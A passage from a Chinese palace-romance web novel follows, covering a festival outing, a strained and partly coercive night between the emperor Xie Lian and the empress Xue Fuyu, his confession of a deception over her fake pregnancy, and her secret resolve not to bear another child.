薛弗玉却惊讶于他居然这么快就承认了错误,看来还没有到不可挽救的地方啊...... 她嘴唇微微上扬,问:“那今晚陛下还要带臣妾出宫吗?” 不等谢敛回答,昭昭不安分地扭着身子先问了:“父皇和阿娘要出宫玩儿,昭昭从来没有出宫,昭昭也想去,昭昭也要去,昭昭也要去~” 谢敛听着女儿在耳边叽叽喳喳的,只觉得眉心突突地跳,他把人搂紧,换了严肃的表情:“昭昭乖,你还小,等昭昭再大一点,父皇再带你出宫好么?” 上元的街市人潮汹涌,昭昭太小了,带着她确实不太方便。 听到父皇不愿意带上她,昭昭嘴巴一瘪,眼圈瞬间就红了,她道:“父皇坏,不带昭昭一起玩,我不要父皇抱,我要阿娘。” 说着她身子一扭,朝着薛弗玉张开双手。 薛弗玉瞧见小姑娘哭唧唧的,顿时心疼得不得了,把人从谢敛的怀中抱走,轻声哄她:“昭昭不哭,外面太冷了,会冻坏昭昭的。” “昭昭不怕冷,昭昭就要跟着阿娘和父皇。”昭昭趴在她的肩上揉着眼泪道。 薛弗玉漂亮的眉毛轻皱,有些无助地看了一眼谢敛:“陛下......” 谢敛从她的眼中读懂了她的意思,这是在怪他把女儿给弄哭了。 他眉头一皱,强行将人从她的怀中抱走,从宫人手中接过帕子耐心给她擦眼泪,语气无奈:“好了,父皇带你出宫,好么?” 最终,一家三口坐上一辆低调豪华的马车,从朱雀门悄悄地出了宫。 ...... “娘娘,咱们真的能碰见陛下和皇后娘娘吗?” 宝扇站在桥上张望,看着河边两边人潮汹涌,她站在这里已经快一个时辰了,哪里见到了帝后的身影。 薛明宜顶着瑟瑟寒风,今晚为了偶遇皇帝,她特意穿得单薄,头上戴了回京后他赏赐的红宝石珠钗。 此时一张脸被冻得苍白,她紧咬嘴唇:“小安子的消息不会有错的,咱们再等等。” 语罢,她视线落在一处支起来的棚子前,正好瞧见熟悉的一家三口停在棚子前,男子生得高大,一只手轻松抱着个五官漂亮的小姑娘,俊美的脸微微侧着与身边站得极近的女子说话,女子即便披着白色狐裘,那狐裘没显得她身材臃肿,反而衬得她一张巴掌大的脸更加精致。 “还是出宫了啊......”薛明宜目光闪烁。 那边女子与男人说着话,男人唇边始终噙着一抹笑意,温柔地看着女子。 温馨的画面刺痛了薛明宜的双眼,她的指甲紧紧陷进掌心,一双眼睛死死盯着不远处雍容的女子。 “人都准备好了吗?”薛明宜深吸了一口气,问宝扇。 宝扇踟蹰了一下,才回答:“准备好了,娘娘,咱们真的要这样做吗?” 不同于薛明宜的平静,宝扇还是有些害怕的,那可是皇后娘娘。 “我也不想的,可谁让二姐姐又怀了他的孩子。” 说这话的时候,薛明宜的眼中不经意透露出异样的执着。 40-50 第41章 这盆春兰在寝殿已经养了一个多月,是一个月前碧云从宫里花匠那得来的,因着它的花香清心淡雅,淡淡的香味不会喧宾夺主,所以就一直养在西窗下。 薛弗玉本是爱花之人,宫里那群花匠种的这些花她都喜欢,幽禁在凤鸾宫的日子实在是无所事事,她便连给春兰叶子擦拭灰尘的活都给抢了。 且做起这些事来一场专注,能让她的心平静下来,暂时忘掉与谢敛之间不愉快。 灯罩里的烛火散发出淡黄的光,外头草丛中断断续续传来虫鸣声,女子坐在案前细细欣赏着眼前的浅绿色的春兰。 原本是静谧美好的画面,然而落在不远处男人的眼中,却变得有些刺眼。 尤其是那盆被她精心呵护着的春兰,让他恨不得立刻命人给扔出去,省得现在看着碍眼至极。 他的双目盯着那边的女子,从前他只要在这里站了一会儿她就会发现,如今他在这都站一盏茶的时间了,她却没有发觉。 薛弗玉正想着要不要吩咐让碧云明日再去花房要几盆牡丹来,她如今被幽禁在凤鸾宫,说不定等到四月的时候还被困在这里不得出。 不如趁着现在让人搬了几盆牡丹放在院中,届时就算是出不去宫门,也能在自己的宫里赏牡丹。 敲定主意之后,她的视线终于从春兰上移开,她看向珠帘的方向想要唤人,谁知道却见男人一脸阴晴不定地站在那里。 她差点被吓了一跳。 谢敛什么时候来的,他在那站了多久? “陛下来了怎么也不告诉臣妾一声?” 她站起身往前走了几步,然后对着他屈膝行礼。 然而的等了半天都不见眼前的男人有任何的反应,她不禁偷偷抬眸看向他,随着她因为不解而微微歪头的动作,插在她发髻里的珠钗上挂着的珍珠坠子,在烛光的映照下泛着柔和的光泽。 “起来吧,朕说了不必行礼。”片刻后,才听见男人道。 薛弗玉站直身子,坠子随着她的动作而微微晃动。 谢敛的视线落在那颗坠在最后面,比前面的几颗要大,且还有几分眼熟的珍珠上。 这颗珍珠圆润得浑然天成,放在市面上大约价值千金,他突然记起,这颗珍珠是前年东海一带的郡守上贡的。 这样圆润的白珍珠装了有满满一箱子。 他对那些上贡的金银珠宝不感兴趣,大部分都转手赐给了她。 那箱珍珠自然也在其中。 当时他是怎么说的,他说珍珠温柔,很适合她的性子,可以拿了去让司珍房的宫人做成喜欢的珠钗或头面戴着,也不算浪费。 如今见她当真拿去做了珠钗戴在头上,他心里原先的郁气便消了一半。 她身上的所有都是他给的,她合该也是他的,想要抢走她的人都该死。 心底深处突然出现一道声音,谢敛只觉得那道叫嚣的声音说得很对,玉姐姐合该是他的。 宋璋永远也别想得到玉姐姐。 就算玉姐姐心里没有他又如何,他有的是时间让她的心慢慢装满他。 那么,便从今晚开始。 薛弗玉见他一直盯着自己头上戴着的珠钗出神,以为是有什么问题,她不解地问:“陛下,可是臣妾戴的这支簪子有 什么问题?” 耳边响起她疑惑的声音,谢敛这才收回思绪,他朝着她走去,最后在距离她只有一尺的距离停了下来。 “玉姐姐。”他突然倾身,嗓音低沉。 属于他身上强烈的气息瞬间盖过了春兰的清香,薛弗玉下意识想要后退,然而还不等她有所动作,身前的男人似乎已经预料到了,宽厚的大掌无声无息贴上了她的后腰,令她不能后退一步。 眼见他抬起手,薛弗玉以为他因为白天的事情,如今见了她越想越气,所以想要对她动手,她的第一反应是闭上了眼睛。 然而想象中的疼痛并未出现,倒是感觉她头上的那支珠钗被他拔了,她睁开眼睛,正好看见那张近在咫尺的俊美的脸。 “你的簪子歪了,朕重新替你戴好。”男人异常温柔的声音在耳边响起,说着抬手拔下来了那支珠钗。 此时他的脸上没有了方才的阴沉,反而带着从未有过的温柔,唇角勾出一抹笑意,落在薛弗玉的眼中却无端让她的内心深处生出一丝害怕。 眼前的男人突然变得有些陌生,就好似从前的那个在她跟前情绪外露的少年,慢慢地消失了。 “多谢陛下,臣妾自己来就好。” 薛弗玉想要从他的手中拿走珠钗,结果却被他给躲过了。 他唇边仍旧带着笑意,手上把玩着那支珠钗,仿佛对它很感兴趣,然而说话的声音却是不容拒绝的:“玉姐姐别动,若是被簪子划伤了,朕可是会心疼。” 这话没来由地让她想起白天的时候,眼前的男人被竹篾划伤时,她一点也没有心疼的感觉。 难不成他是在讽刺她?她突然想。 簪子的一端确实有些锋利,他们要真的争抢的话,确实容易被划伤手,她到底是没有真的要去抢的意思,只能乖乖站着,任由对方替她簪好。 “好了。” 替她戴好之后,男人似乎还饶有兴致地欣赏了一会。 只是那只放在她腰后的手却没有要松开的意思,反而似有若无地摩挲着她腰上的软肉。 薛弗玉因为他的动作而慢慢起了鸡皮疙瘩,想起他今晚来得早,索性抬手在他胸前推了推:“陛下可用过晚膳了,臣妾现在去让人给您准备。” 然而身前的男人却纹丝不动,没有要被撼动半分。 蓦地,她突然听见他轻笑一声,接着脸慢慢贴近她,呼出的温热气息洒在她的侧脸:“玉姐姐是想躲着朕么?” 如今温香软玉就在眼前,他似贪恋地闻着久违的山谷百合的幽香。 她身上的香味总能轻易让男人上*瘾,不管是出于什么原因,今晚他自然不会轻易放过她。 薛弗玉感知到了来自男人身上带来的危险,她心里生出抵触,想要挣脱。 只是这男人素来知道在那种事上怎么拿捏她,所以不可否认,自己确实是想躲着他,她心里对他的气还未消,并不想与他太过亲密。 可在这种事情上,她注定敌不过眼前的男人。 “听说陛下这些日子以来整日劳碌,臣妾今日也累了,不如好好歇息。”薛弗玉还想挣扎。 谁知道却听见耳畔传来男人的低笑:“玉姐姐怎么比朕还要心急。” 闻言薛弗玉不可置信地抬眸看向他,从前她怎么没觉得他这般不要脸? “陛下,你明知臣妾不是那个意思!” 她的心里突然生出无力感,果然男人脸皮真的是比城墙还厚。 “玉姐姐,你身上好香”男人声音突然变得低哑。 她的下巴不知何时被略显粗粝的指腹捏住,薛弗玉被迫仰头看向他,视线落在男人那双深不见底的黑眸中。 她总觉得那眼睛的深处似乎藏着什么野兽,正在等待伺机而动,而它的目标就是她。 她的心底瞬间生出警惕,可当她再次望去的时候,却只见男人的眼中只剩无限柔情,让她以为方才是看错了,继而产生了她才是他心悦之人的错觉。 眼前的女子双眸晕着水色,水润饱 满的双唇微微张开,露出里面一点洁白的贝齿,完全就是一副任君采撷的模样。 与他说话的时候,甚至能看见里头粉色的舌尖。 他的眸色骤然变深,捏着她下巴的指腹加深了点力度,不让她有任何躲开的可能。 “玉姐姐,朕在不见你的半个月里,其实很想你。” “陛下唔” 眼前突然覆上黑影,薛弗玉瞪大眼睛,看着男人突然放大的俊脸,感受到自己的双唇被攫取。 终于尝到了她双唇的滋味,谢敛在他的唇上辗转亲吻,渐渐的不满足,他先是把人给按在胸前,松开了捏住她下巴的手,改为覆在她的后脑。 薛弗玉的周身很快就被一股檀木香给包围住,这香味似乎和那一年少年第一次与她亲密接触时,身上传来的一样。 可少年从未与她做过这样的事,他分明是不喜欢她的,更不喜欢与她有过多的接触。 薛弗玉只觉得脑子里轰的一下,瞬间变成空白,身子也因为对方步步紧逼而变软,不得不依靠着男人。 半晌,男人抵着她的额头,暂时从她的双唇上离开,瞧着她的样子哑然失笑道:“玉姐姐吸气,别把自己憋晕了。” 放在她后腰的大掌不知道何时抚上了她的侧脸,滚烫的掌心让她稍稍回神。 她后知后觉自己正靠在男人的身前,想要拉开了一点二人之间的距离。 谢敛瞧见她的动作,顿时生出不满,不让她与他拉开距离。 看着她的唇瓣因为方才的亲吻变得愈发红润,那种亲吻时带来心底的悸动还在,不等薛弗玉有所反应,他又重新压了下去。 外面的虫鸣声逐渐被如雷的心跳声取代,薛弗玉只得紧紧抓着谢敛的手臂,被迫承受着男人凶狠蛮横的吻。 似是食髓知味,不知道过了多久,他才有一点满足,暂时放过了她。 薛弗玉无力地伏在他的胸膛上,双唇微微张开呼吸,仿佛要把周身所有的空气都吸进去。 从前他不愿亲自己,她还想过许是他和她一样都不喜欢亲吻,谁料今晚他不知道发什么疯,亲起来没完没了。 她自认为他们还在闹矛盾的阶段,如今怎么会发展成这样的? 眼见男人再次朝着她低头,薛弗玉看出了他的意图,直接抬手抵在他潮湿的唇上。 谢敛先是垂眸扫了一眼挡在自己唇上的手,然后又看向眼前眉目含春的女子,渐渐地眸色变得愈深,看着她的眼神带着从未有过的陌生的侵占感。 她逐渐反应过来自己在做什么,想要收回自己的手,纤细白皙的手腕却被他的手掌圈住。 谢敛白天被割伤的手指紧紧贴着她的细腻的肌肤,甚至能感受到她脉搏的跳动。 不规则的跳动完全他给知道了,暴露了她此时的慌乱。 “陛下,请松手,臣妾还要去沐浴。” 薛弗玉转了转自己的手腕,想要从他炙热的掌心中挣脱,这样的他让她莫名生出一种恐慌来。 可谢敛却没有要松手的意思,只听他哑声道:“过会再洗,不然又要重新洗。” 薛弗玉一时不明白他说这话是何意,直到她突然被打横抱起,伴随着自己的惊呼声 ,才知晓他话里的意思。 碧云和素月早已识趣地关上了寝殿的大门。 寝殿里头,榻前的帐子很快落下,薛弗玉陷在一堆锦被当中,头上的几支珠钗不知何时已经被男人给摘下,如墨的青丝散在了后面。 男人似迫不及待地俯身。 薛弗玉被高大的身影覆盖住,她伸出两只手朝上想要制止,未等她有所有动作,男人的一只手掌轻易攥住她的两只手腕,两只手被他按在她头顶上方。 “谢敛,你轻点!快松手!”薛弗玉被他禁锢在身下,终于忍不住叫了他的名字。 然而她的声音对男人来说不仅没有威慑力,反而因为带着柔媚,更是激起了男人心底深处汹涌的欲*望。 他没有听她的话松手,目光扫过她已经染上胭脂色的脸颊,对上她氤氲着雾色的眸子,然后俯身,却又在只有一指的距离停了下来,声音带着潮热的喑哑:“玉姐姐,你真的要我轻点么?你从前,不是喜欢我用力点么?” “流氓!”薛弗玉瞪了他一眼,忍不住把心里话也骂了出来。 然而男人却没有因为她的嗔骂而生气,反倒是眉眼间染上了笑意:“玉姐姐骂得对,我是流氓。” 说着又对着那张让人垂涎已久的红唇吻了下去。 薛弗玉被他磨的难受,渐渐被迫放弃了抵抗。 谢敛仿佛比她还要清楚她的身子,她被他的攻势弄得毫无反抗之力,明明白天的时候还能冷淡对他,可眼下自己不争气的身子却因为他一次次的挑拨而战栗。 她突然厌弃这样的自己。 上方的男人似乎察觉到了她的走神,惩罚似的在她肩上轻咬了一口,令她回神。 沉沉浮浮之间,薛弗玉感觉到男人潮湿的手掌覆在脸上,把她因为汗湿而贴在脸颊上的发丝拨开。 她干脆闭上眼睛,选择眼不见为净。 不知道过了多久,终于结束了。 薛弗玉再次睁开眼睛,却落入男人幽深的眼眸之中。 谢敛盯着她因为他而情动的脸,想起今晚为何前来找她,原本要质问她与宋璋的那些话,在瞧见她如今这副模样,又通通咽了回去。 他亲了亲她,再次将额头抵着她的,哑着声音道:“玉姐姐,再为我生个孩子吧。” 第42章 他的话音才落,薛弗玉的心瞬间就冷了下去。 她看着谢敛漆黑的瞳孔,唇边缓缓牵出一个浅笑。 “陛下可是忘了,臣妾的身子在生育昭昭的时候受损,如今还在调理之中。” 还有就是她被他利用假孕的事情还没结束,如今她还被关在凤鸾宫,怎么这些他通通都忘了?又是如何能在这种时候与她说出这样的话来的? 她的声音带着欢爱过后的沙哑,那股子潮热还没有褪去,然而细听之下,却又透着丝丝的冷意,脸上的情动之色早已消失不见。 就好像刚才与他共赴巫山只是他的一个错觉。 一瞬间,谢敛只觉得有什么东西堵在了喉咙里,上不去也咽不下。 “你都知道了?” 半晌,他抬起头突然问,一双墨黑的眸子里似乎藏了她看不懂的情绪。 知道什么? 薛弗玉顿了片刻,感受到他语气的变化,她很快就明白他问的是什么。 她想了片刻,终于还是对着他轻声道:“臣妾是都知道了,在上元日那晚,那名女医不仅告诉臣妾没有怀孕,而且还告诉了臣妾,臣妾的身子因为生育受损极大,日后恐难再有子嗣,这些不就是正合陛下的意吗?陛下方才何必假惺惺与臣妾说那样的话。” 她说这些时候,仿佛不是在揭自己的伤疤,显得极为冷静,就好像那个被夫君欺骗的人不是她。 谢敛听完瞳孔骤缩,他紧紧握着她逐渐凉下去的手,眼底出现从未有过的慌乱,“这些朕都可以同你解释!” “陛下是想说瞒着臣妾都是为了臣妾好吗?”薛弗玉平静地问道。 是的,原本他就是这样想的,可对上她温柔的眼眸时,他突然没有底气,分明从最开始他就是为了她好。 良久,他只听见自己干涩地回答:“你生育昭昭时身子受损得厉害,当初为了不让你难过,朕只能让张蘅瞒着你,再给你开调理身子的药每日给你喝下,朕只是不想你知道后难过。” “那骗臣妾假孕一事呢,也是为了臣妾好吗?陛下就不怕臣妾会空欢喜一场吗?”他说的这些话,薛弗玉全部归结为在狡辩。 谢敛嘴唇动了动,当初他确实想过要不要告知她,那时候他想或许她能体谅他,总觉得他们之前还有许多的时间,他可以慢慢和她解释。 如今想来,都不过是他自己的一厢情愿。 “朕那晚与你说过,朕是为了铲除那些想要对你不利的人,你可知前朝以忠勇侯为首的人一直想要拉下你和薛岐,所以朕只能将计就计,借着假孕一事把他们连根拔起,替你们姐弟二人永除后患。 玉姐姐,你从前都是相信我的,这一次我没有告诉你,也只是不想让你平白担心,不想你有过多烦心的事情,你只需要安心呆在后宫便可!“他说得急切,仿佛要证明什么。 薛弗玉只觉得他是在给自己开脱,她道:“陛下说要臣妾相信你,可陛下你呢,你有相信臣妾吗,若是你真的相信臣妾,为何不一早就告诉臣妾真相,让臣妾陪你演这场戏,而不是只有臣妾一人被蒙在鼓里,陛下是觉得这样有意思吗,若是那日臣妾没有让女医诊脉,恐怕那日在芙蓉阁被太后揭穿的时候,早已伤心欲绝。” 她说出的每个字就像是一根根针,密密麻麻地刺进了他的心脏,绵密的疼痛一下就包裹住了整颗心脏。 他强忍着心里的苦涩,不敢去看她的眼睛,只能坐起身将人紧紧抱进怀中,把头枕在她的肩窝:“对不起,玉姐姐,这次是我考虑不周,是我太想当然了,原谅我这一次好么?” 薛弗玉毫无征兆地被他紧紧抱着,耳边是他的道歉声,她突然生出迷惘,转头盯着被风吹得摇曳的烛火出神。 一向在前朝杀伐果决的帝王,此时却对着她低声下气地道歉。 她不知道自己该不该原谅他,曾经她总觉得他们夫妻十年,即便知道他的心里还装着旁人,其实她不介意,毕竟她的心里也从未装着他,只是将他当成和阿弟一样的亲人,可如今她发现,自己不能容忍被最亲密的人欺骗和利用。 心里泛起阵阵苦涩,她最终只得默默叹了口气。 “陛下,臣妾累了,能否让臣妾先行沐浴?”她没有正面回答他的问题,只是觉得一阵疲累。 抱着她的男人似乎没有听见她的话,手臂依旧将人箍得死死的,似乎她不原谅他就不会松手。 “陛下” 这时候的薛弗玉似乎又从他的身上看到了从前少年的影子,倔强起来谁说的话都不听。 “那玉姐姐原谅我。”男人的声音闷闷地传来。 这男人怎么还耍赖上了? 薛弗玉抬手搭在他的手臂上,温声道:“阿敛,听话,松开,不然我真的生气了。” 这句话果然奏效,她才说完,就明显感觉到男人的身体僵了一下,片刻后,紧搂着她的双臂缓缓地松开了。 “玉姐姐,求你别生气,好不好”声音里带着前所未有的小心翼翼,还有委屈和可怜,生怕再次惹了她不高兴。 先前她只觉得他又在哄她,可当他用这样的语气求她别生气的时候,她心里到底是有所动摇。 她从他的怀中出来,只道:“陛下恕罪,臣妾想要先去沐浴。” 虽然依旧没有正面回答他的话,可她说话的语气明显软和了许多,没了不久前的冷淡。 谢敛愣了一瞬,但是很快又捞起外衣温柔地替她穿上:“需要我帮你么?” “不需要!”薛弗玉回头嗔了他一眼,然后紧捂着胸口前的衣襟下了榻。 男人的目光追一直追随着她窈窕的身影,直到她转到画屏后面进了净室中,才收回自己的视线。 此时他脸上委屈的神色已经消失不见,变成了如往常般冷淡的神色,他右腿屈起,一只手搭在膝盖上,然后抬起头,一双点漆似的黑眸 沉沉地盯着账顶静静思考着。 玉姐姐的性子果然柔软,不过是在她跟前低头示弱,她就不忍心继续对他冷脸。 且他从中也窥探到了一点她的内心,她似乎对少年时的他较为宽容,只要他稍稍露出从前少年的一面,她的心更容易软下去。 方才正好印证了这个猜想。 想明白了这点,他突然有些嫉妒少年时的自己。 不多时,他下榻随意套了衣裳,看了一眼凌乱的床榻,对着外头道:“进来。” 候在外头的素月听到这一声,立刻领了一群宫人进来,其中一位宫人不小心看了男人一眼,见到他半露的胸膛上有几道明显的抓痕,吓得立刻低下了头。 进来的时候屋内那股味道似乎还在,然而她们已经习惯了,麻利地将床榻上的被褥卷走,又重新换成了干净的,还有宫人燃了薛弗玉喜欢的香料,把那股子让人难以忽视的味道给掩盖住。 就在她们要退下的时候,谢敛似想起了什么,他突然叫住了走在最后的一位宫人,抬眸看向西窗下那盆春兰:“把它搬出去。” 这样碍眼的东西就不该出现在这里。 那宫人想着那盆春兰素来是皇后娘娘喜爱的,若是就这样搬走,说不定会惹了皇后娘娘不高兴,于是只好屈膝道:“回陛下,娘娘极为喜欢那盆春兰,若是娘娘发现它不见了定会着急。” 谢敛听见她的回话,想起白日里宋璋回答刘均的话,他脸色倏地冷了下去:“朕的话不管用了?” 这名宫人虽然是薛弗玉的人,可谢敛是皇帝,她不敢违抗皇帝的命令,最终只能乖乖把那盆春兰给搬走了。 看着终于没有了春兰的内室,男人的心情总算是好上了许多。 只是一想到方才在床榻间,他第一次低声下气求她原谅,她却没有正面回答他,他的心又沉了几分。 玉姐姐,是当真不打算原谅他么? 半晌,他缓缓呼出一口气。 没关系,总归她还在他身边,等时间久了,她自然能看见他的一片苦心 薛弗玉趴在浴桶边上,静静地盯着对面放了衣裳的架子发呆。 碧云带着两位宫人从另一边进来给她加热水,看见她后背蝴蝶骨上的吻痕不禁红了脸,不管如何,陛下总算是娘娘亲近了,是不是说明陛下就要解除幽禁了? “娘娘,奴婢替您按按。” 加完热水之后,碧云示意两名宫人退下,自己则在她的身后替她清洗。 柔嫩的肌肤上偶尔布了好些暧昧红痕,即便不是第一次见,可碧云还是悄悄的红了脸,她叹了口气:“陛下下手怎么没轻没重的,娘娘皮肤本就白皙,现在倒好,这些红印又要过几日才会消散下去,等娘娘出浴了,奴婢再拿了药替娘娘擦擦,好让它们早些消了。” 薛弗玉枕着手臂,听见她的话,下意识垂眸看向自己的手腕,发现上面也有一圈红痕,是谢敛攥着她时留下的。 她抿了抿唇,想起事后他说让她再给他生一个孩子的事。 这三年来她一直吃着张太医开的药,而张太医最了解她的身体,可却从未与她说过实话,都是拣些好听的说与她。 张太医是谢敛的人,大概张太医只会对谢敛说真话。 莫非她的身子真的要被调理好了,所以今晚他才会突然和她说着这样的话? “碧云,有件事我需要你先记下,如果陛下真的解了对我的幽禁,你届时想办法让人去找楚姑娘,带让她下次进宫的时候,替我带一个人进宫” 她说着声音低了许多,给了她那晚替她诊脉的女医的地址。 带男人进宫容易引起注意,若是带女子进宫,就要简单得多。 碧云听完后有些惊讶:“宫里就有许多的太医,娘娘为何要舍近求远?” 且她们如今都不知道要等到什么时候,陛下才会不再幽禁娘娘。 片刻之后,她突然灵光一动,握着薛弗玉的手激动地问:“娘娘是不想怀疑自己的身子已经好了?” 她也是不久前才得知娘娘身子的状况,如今娘娘让她办这件事,顿时让她生出了几分欣喜。 薛弗玉点了点头:“是有些怀疑,你也知道宫中的太医多半不靠谱,也不可信,张太医又是陛下的心腹,我自然也信不过,需得找个我信得过的人我才能放心。” 碧云却道:“可是娘娘的身子好了不是好事吗,若是娘娘再给陛下生下小皇子,外头的人哪里还敢再说娘娘什么。” 话是这么说没错,可是女子生育本就风险极大,她身为一国皇后都有如此大的风险,生昭昭让她吃了不少苦,且私心里她不想再给谢敛生孩子了。 她怕疼,更怕死。 若她的身子真的好了,她也会想办法替自己避开怀上的风险。 没人疼惜她的身子,她总要自己爱惜自己。 碧云瞧见神色凝重,很快也明白了过来,她担忧道:“娘娘考虑得也不无道理,常言道女人生孩子就相当于在鬼门关里走了一遭,奴婢现在想起娘娘生公主的那一天,仍旧心有余悸,娘娘的顾虑奴婢也理解,只是如今娘娘没有一子傍身,就怕日子久了,陛下会与娘娘疏远。” 继而再找旁人给他生下皇子。 这话她自然是不能说的,可她的担忧也并无道理,史上哪里什么所谓的深情帝王,那些皇帝多是为了自己的私欲而选择牺牲无辜的女子。 薛弗玉盯着不远处烛台上跳动的烛火,她突然道:“他要真的那么在乎有没有皇子继承皇位,有的是愿意为他诞下皇子的女子,若他真的到了非要皇子的那一步,我不介意带着昭昭离开皇宫,好给后来者腾位置。” 她之前想着为了昭昭,总要学会在谢敛跟前忍气吞声,可昭昭真的愿意看见这样她的阿娘这样吗? “娘娘可是糊涂了,公主自小在宫里长大,有得陛下如此宠爱,且陛下也不会轻易放娘娘和公主离开,” “你说得这些不无道理,我也不愿看着属于昭昭的一切落到旁人的手中,可我和昭昭如今拥有的都是他给的,他一句话便可让我们母女一无所有,我不想再将自己和昭昭的前程寄托在他身上。” 碧云一脸惊骇:“娘娘是真的做好打算了?” 薛弗玉决绝地嗯了一声,“若真的有那一日的到来,我会想办法带着昭昭离开。” 如今就看谢敛会如何选择了。 第43章 不出几日,谢敛下令解除了薛弗玉的幽禁。 很快素月就从外面带了消息回来。 她进来后见到正在陪昭昭的薛弗玉,于是对着薛弗玉行礼,一副有话说的样子。 后者明白了什么,让碧云先把昭昭带了出去。 “说吧,到底是怎么回事?”薛弗玉喝了一口花茶,轻声问她。 素月换上了严肃的脸,将打听来的事情一一都告诉了薛弗玉。 原来是忠勇侯买通了太医院的周太医师徒二人,偷偷在张太医给她喝的药里加了让女人吃了会出现假孕的秘药,后又故意把她假怀孕的消息告诉了太后娘娘,借太后的手揭穿她。 才有了在芙蓉阁的那一出戏。 薛弗玉眉心轻蹙:“那陛下是如何处置他们的?” 素月回答道:“忠勇侯谋害皇后娘娘,又养了上千的私兵,从前在西北时不仅贪了军饷,还结党营私打压年轻有为的将士,月前又诬告薛将军擅自离开西北,嫉妒薛将军少年英才,所有种种罄竹难书, 陛下自然是夺了忠勇侯的爵位,邬家成年男子全部斩首,女子充入教坊和掖庭。 而周太医则被抄家了,他又涉嫌杀了自己的徒弟,此时已经下了诏狱。” 诏狱是什么样的地方不用说都知晓,进去之后的人再出来,身上没有一处是好皮,不死也半残,当然一般进去的人也出不来了就是。 有这样的结果薛弗玉一点也不意外,但是她更想知道谢敛对太后的惩罚。 “那么太后呢,太后那日为了揭穿本宫假孕,可是不止对本宫一人下了毒。” 说起太后,素月露一副痛快的模样:“太后命人下毒一事涉及皇家颜面,只能将其推给宫人,最后陛下让太后迁出长信宫,幽禁在护国寺,对外只说太后是想要替边关将士祈福,只是去护国寺潜心修行。” 至于什么时候才能放太后出来,就要看陛下何时能念起太后了。 “倒也没有冤枉了他们。” 薛弗玉听着没有任何心软的意思,只觉得谢敛对他们的惩罚正好。 素月义愤填膺道:“都怪他们这些人,害得娘娘在凤鸾宫幽禁了一个多月,他们都是活该。” 天知道那日在芙蓉阁,得知娘娘没有真的怀孕时她有多难过,她恨死这些要害娘娘的人了。 “如今真相大白,陛下为了安慰娘娘,已经连着好几晚都来陪着娘娘,赏赐更是多得库房都要放不下了,奴婢方才还听李公公说,陛下似有意给薛将军封侯,可见也是为了娘娘的缘故。” “封侯?” 薛弗玉以为自己听错了,从前她隐隐有听说,曾有朝臣上奏请谢敛给阿弟封侯,说阿弟不仅有从龙之功,且他骁勇善战,他在西北驻守的这些年,绒狄等都不敢再进犯。 这么多的功劳,以后封侯是必然的。 可她知道树大招风的道理,阿弟又还太年轻,更何况她身为姐姐,还是一国之后,甚至这后宫中只有她一位。 谢敛如果不是傻子,即便他们姐弟二人并无异心,也会忌惮他们。 他如今这番,难道真的不怕日后她联合起阿弟,做出外戚干政的事情来? 这时候她倒是有些看不明白他了。 “奴婢离开之前,李公公特意和奴婢说了,今晚陛下依旧会来凤鸾宫和娘娘一道用晚膳,让娘娘准备着。”素月打断她的沉思,语气中带着明显的高兴。 自那晚之后,陛下每晚都来陪娘娘。 语罢只听见薛弗玉不咸不淡地应了一声。 这几晚,那人总是缠她缠得厉害,仿佛真的想要她给他再生个孩子。 甚至有几次都不许她事后立刻去清理。 这样的行为让她更加确定她的身子大约是好得差不多了。 不行,她不愿意再生孩子。 “素月,你去将碧云叫来,我有事要交代她。”她拧眉吩咐 才到掌灯时分,谢敛就来了。 今天是他来得最早的日子。 甫一踏进她的正殿,就看到她坐在不远处,旁边坐着乖巧的昭昭。 此时母女二人也不知道在说什么悄悄话,薛弗玉逗得昭昭笑个不停。 他站在门口半晌,看着眼前温馨的一幕,只觉得若是时间可以停留在这一刻,或许也还算不错。 “陛下来了。” 这边的薛弗玉率先发现了门边站着的男人,停下了与昭昭的互动,然后起身相迎。 昭昭见到了他也立刻下了凳子,先是脸上露出兴奋的深色,蹦蹦跳跳地朝着他跑去,然而在距离他只剩几步远的时候,又似想起了什么,突然停住。 然后照着教养嬷嬷教的姿势,认真地朝着面前高大的父皇行礼:“昭昭见过父皇!” 她学得有模有样,落在男人的眼中只觉得尤为可爱。 谢敛扫了一眼身后站着的薛弗玉,发现她唇边正挂着温和的笑,漂亮的眸子全是女儿的身影,此时的她,身上散发着让他抗拒不了的温柔气息。 男人的喉结动了动,眸色渐渐变深。 “陛下,不让昭昭先起身吗?”直到温柔的声音提醒他,他才回神。 将目光从她的身上收回,然后掩唇轻咳一声:“起来吧,看来昭昭学宫规学得很快,连行礼都会了,不过——” 他故意突然停住了。 昭昭被他前面夸得嘴巴都要咧到耳朵后面去了,但是听见他的转折之后,又眨巴着一双黑葡萄似的眼睛,紧张地盯着他,用糯糯的声音问道:“不过什么,父皇你快说呀!” 说着她上去抱住了他的大腿,大有不说就不放开的架势。 “陛下别逗昭昭了,快告诉她吧。”薛弗玉看出他故意逗女儿的心思,不知道他何时这样幼稚了。 谢敛看了她一眼,又低头看紧紧抱着他大腿不放的女儿,他唇边挂上一抹笑,弯腰把昭昭给抱了起来,这才道:“不过昭昭不用每次见了父皇都行礼,昭昭和你阿娘与他们是不一样的。” 玉姐姐和昭昭是他最亲近的人,自然不用和那些人一样成天见了他就行礼。 “可是嬷嬷说父皇是天子,除了皇祖母以外,所有人见了父皇都需要跪拜行礼。”昭昭搂着谢敛的脖子认真道。 谢敛听到她孩子气的话,耐心地给她解释:“这不一样,父皇在昭昭和你阿娘跟前,只是一位普通的父亲和夫君,不算是天子,所以昭昭和你阿娘都不必对着我行礼,昭昭明白了吗?” 昭昭这时候也明白了他话里的意思,她用力点头:“昭昭明白了!” 谢敛摸了摸她的发顶,温声道:“乖孩子。” 薛弗玉听着男人耐心地与女儿说话,看着他们父女和谐的画面,想起那晚在净室与碧云说的话,她的心里突然有些复杂。 直到谢敛抱着昭昭在圆桌前坐下,她仍站在原地没有任何的动静。 谢敛看出了她在走神,他几不可查地皱了一下眉,这个时候她在想什么,难不成是还在想旁人? 脑海中突然冒出这个荒唐的念头,他立刻对着昭昭小声道:“你阿娘还站着,快去让她过来。” 昭昭听话地走到了薛弗玉的身边,伸出手拉了拉她的袖子:“阿娘阿娘,昭昭肚子饿了,快来用晚膳吧!” 被昭昭拉着袖子,薛弗玉很快回神,转身低头无奈地捏了捏她的脸,柔声道:“真是小馋猫儿。” 她带着昭昭在谢敛的对面坐了下去。 谢敛见了,眼底的笑意逐渐变淡。 这是连坐在他身边都不愿么? 今日她的宫人前来打探消息,他还特意让李德全把那些事全部都细细地告诉了那名叫素月的宫女,就为了让她知道他所做的这一切都是为了她。 可眼下她却仍旧要与他这般生分。 让他心里无端生出挫败感来。 